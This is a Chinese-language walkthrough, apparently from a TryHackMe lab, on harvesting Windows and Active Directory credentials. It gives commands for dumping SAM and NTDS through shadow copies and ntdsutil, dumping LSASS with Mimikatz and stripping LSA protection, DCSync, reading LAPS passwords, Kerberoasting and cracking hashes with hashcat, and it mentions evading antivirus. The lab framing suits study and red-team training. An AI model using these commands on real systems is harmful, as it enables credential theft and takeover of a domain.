凭据收集是获取用户和系统凭据访问权限的术语。 这是一种查找或窃取存储的凭据的技术,包括网络嗅探,攻击者可以在网络嗅探中捕获传输的凭据。
凭证可以有多种不同的形式,例如:
获得凭据的好处:
攻击者可能会在受感染的计算机上搜索本地或远程文件系统中的凭据。明文文件可能包含用户创建的敏感信息,包括密码、私钥等。
以下是攻击者可能感兴趣的一些明文文件类型:
PowerShell将执行的 PowerShell 命令保存在用户配置文件的历史文件中,路径如下:
C:\Users\YOUR_USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
在Windows注册表中查找“password”关键字,可以使用以下命令:
reg query HKLM /f password /t REG_SZ /s
# or
reg query HKCU /f password /t REG_SZ /s
Windows操作系统提供两种类型的用户帐户:本地和域。本地用户的详细信息存储在本地 Windows 文件系统中,而域用户的详细信息存储在集中式 Active Directory 中。
使用 Microsoft 卷影复制服务,该服务有助于在应用程序在卷上读/写时执行卷备份。获取有关服务的更多信息,可以参考官方文档:
https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
我们可以使用 wmic 创建卷影副本。这必须通过具有管理员权限的命令提示符来完成,如下所示:
wmic shadowcopy call create Volume='C:\'
然后使用卷影复制服务管理命令行工具来列出并确认我们拥有卷的卷影副本C:
vssadmin list shadows
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
SAM 数据库使用RC4或AES加密算法进行加密。为了解密它,我们需要一个解密密钥,该密钥也存储在 c:\Windows\System32\Config\system,现在将两个文件(sam 和 system)从我们生成的卷影副本卷复制到桌面,使用以下命令:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
Windows 注册表还存储 Windows 服务使用的一些 SAM 数据库内容的副本。我们可以使用 reg.exe 工具保存 Windows 注册表的值。不过要确保可以使用管理员权限
reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\users\Administrator\Desktop\system-reg
Impacket 工具下载地址:
https://github.com/fortra/impacket
将提取的sam文件和system文件,移到本地机子中,然后使用以下命令:
python3.9 secretsdump.py -sam sam -system system LOCAL
一旦我们获得了 NTLM 哈希值,如果它们是可猜测的,我们可以尝试使用 Hashcat 来破解它们,或者我们可以使用不同的技术来使用哈希值来模拟用户。
本地安全机构服务器服务 (LSASS) 是一个 Windows 进程,用于处理操作系统安全策略并在系统上强制执行。它验证登录帐户并确保密码、哈希值和Kerberos票证。Windows 系统将凭据存储在 LSASS 进程中,使用户能够访问网络资源, 例如文件共享、SharePoint 站点和其他网络服务,而无需在每次用户连接时输入凭据。
LSASS 进程对于红队来说是一个诱人的目标,因为它存储有关用户帐户的敏感信息。LSASS 通常被滥用来转储凭据以提升权限、窃取数据或横向移动。幸运的是,如果我们有管理员权限,我们可以转储 LSASS 的进程内存。Windows 系统允许我们创建转储文件,即给定进程的快照。这可以通过桌面访问 ( GUI ) 或命令提示符来完成。
这种攻击通常定义为: OS Credential Dumping: LSASS Memory (T1003
Ctrl + Shift + Esc 打开任务管理器,然后找到 lsass.exe 的进程,右键选择创建传储文件
转储完成后,会弹出一条信息,包含转储文件的路径。
将它复制到 Mimikatz的文件下,后续进行利用
ProcDump 是一个从命令提示符运行的 Sysinternals 进程转储实用程序。
下载地址:
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
可以看见转储过程正在写入磁盘,转储 LSASS 进程是对手使用的一项已知技术。因此,反病毒产品可能会将其标记为恶意。需要免杀
它可以进行转储内存并提取凭据,不过需要管理员权限。提取登录凭据,使用以下命令:
privilege::debug
sekurlsa::logonpasswords
通过转储的 lsass.dmp 文件导入到mimikatz中查看凭据
sekurlsa::minidump lsass_dump.dmp
sekurlsa::logonpasswords full
以管理员权限运行 Mimikatz 执行文件并启用调试模式。如果启用了 LSA 保护,执行“sekurlsa::logonpasswords”命令时会出现错误。
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
禁用 LSA 保护。我们可以通过执行以下命令:
!+
!processprotect /process:lsass.exe /remove
再次运行“sekurlsa::logonpasswords”命令,就会显示凭据
凭据管理器是一项 Windows 功能,用于存储网站、应用程序和网络的登录敏感信息。它包含登录凭据,例如用户名、密码和互联网地址。凭证类别有四种:
列出 Windows 目标中当前可用的 Windows 保管库。一个用于 Web,另一个用于 Windows 计算机凭据
vaultcmd /list
VaultCmd /listproperties:"Web Credentials"
VaultCmd /listcreds:"Web Credentials"
vautlcmd 无法显示密码,我们可以借助powershell 脚本:
https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
使用以下命令:
powershell -ex bypass
Import-Module Get-WebCredentials.ps1
Get-WebCredentials
可以看见显示了明文密码
也可以使用 runas进行凭据传储,首先枚举凭据,显示所有存储的凭据:
cmdkey /list
使用 runas 命令 以 thm-local 用户执行 cmd.exe 程序
runas /savecred /user:THM.red\thm-local cmd.exe
显示凭据管理器存储的凭据
privilege::debug
sekurlsa::credman
是一个包含所有 Active Directory 数据的数据库,包括对象、属性、凭据等。NTDS.DTS 数据由三个表组成,如下所示:
NTDS 默认位于C:\Windows\NTDS,并且经过加密以防止从目标计算机提取数据。
Ntdsutil 是一个 Windows 实用程序,用于管理和维护 Active Directory 配置。它可以用于各种场景,例如
官方文档:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753343(v=ws.11)
要成功转储 NTDS 文件的内容,我们需要以下文件:
使用 Ntdsutil 工具转储 NTDS 文件:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
查看 C:\temp目录,我们会看到两个文件夹:Active Directory 和 registry ,其中包含我们需要的三个文件。将它们传输到攻击机中
使用 Secretsdump.py 脚本以从转储的内存文件中提取哈希值
python3.9 /opt/impacket/examples/secretsdump.py -security registry/SECURITY -system registry/SYSTEM -ntds Active\ Directory/ntds.dit local
脚本下载地址:
https://github.com/fortra/impacket/blob/master/examples/secretsdump.py
提取NTDS 数据,以thm.red 域用户,攻击者利用这些配置来执行域复制, 通常称为“ DC同步”。
python3.9 /opt/impacket/examples/secretsdump.py -just-dc thm.red/[email protected]
python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm thm.red/[email protected]
一旦我们获得了哈希值,可以使用 hashcat 工具进行爆破明文密码:
hashcat -m 1000 -a 0 hash rockyou.txt
2015 年,Microsoft 取消了将加密密码存储在 SYSVOL 文件夹中的操作。它推出了本地管理员密码解决方案 (LAPS),该解决方案提供了一种更安全的方法来远程管理本地管理员密码。
检查目标机器上是否安装了LAPS,这可以通过查看目录:
dir "C:\Program Files\LAPS\CSE"
powershell -ex bypass
Get-Command *AdmPwd*
寻找 AD组织单元 (OU) 具有处理 LAPS 的“所有扩展权限”属性:
Find-AdmPwdExtendedRights -Identity THMorg *
net groups "LAPsReader"
我们发现该bk-admin用户,因此为了获取 LAPS 密码,我们需要破解或冒充 bk-admin 用户。可以启用 LAPS 的 cmdlet 来获取 LAPS 密码:
Get-AdmPwdPassword -ComputerName creds-harvestin
是一种AD攻击技术,针对的是使用 Kerberos 认证的 Windows 网络环境中的弱点。Kerberos 是一种网络认证协议,用于安全地验证用户和服务之间的身份,常用于 Windows 领域环境中的身份验证。
攻击者可以获取到 Active Directory 中的服务账户的哈希值,然后离线地尝试破解这些哈希值,以获取服务账户的明文密码。这些服务账户通常由 Windows 服务使用,例如数据库、Web应用程序等。
攻击步骤:
脚本地址:
https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py
使用 GetUserSPNs.py 获取指定用户的 Service Principal Names (SPN)。
可以看见有一个 SPN 帐户 svc-user。找到 SPN 用户后,现在来获取 srv-user 用户的 TGS 票证:
python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.62.108 THM.red/thm -request-user svc-thm
最后使用 HashCat工具破解获得的TGS票据:
hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt
https://github.com/SnaffCon/Snaffler
https://github.com/GhostPack/Seatbelt
https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/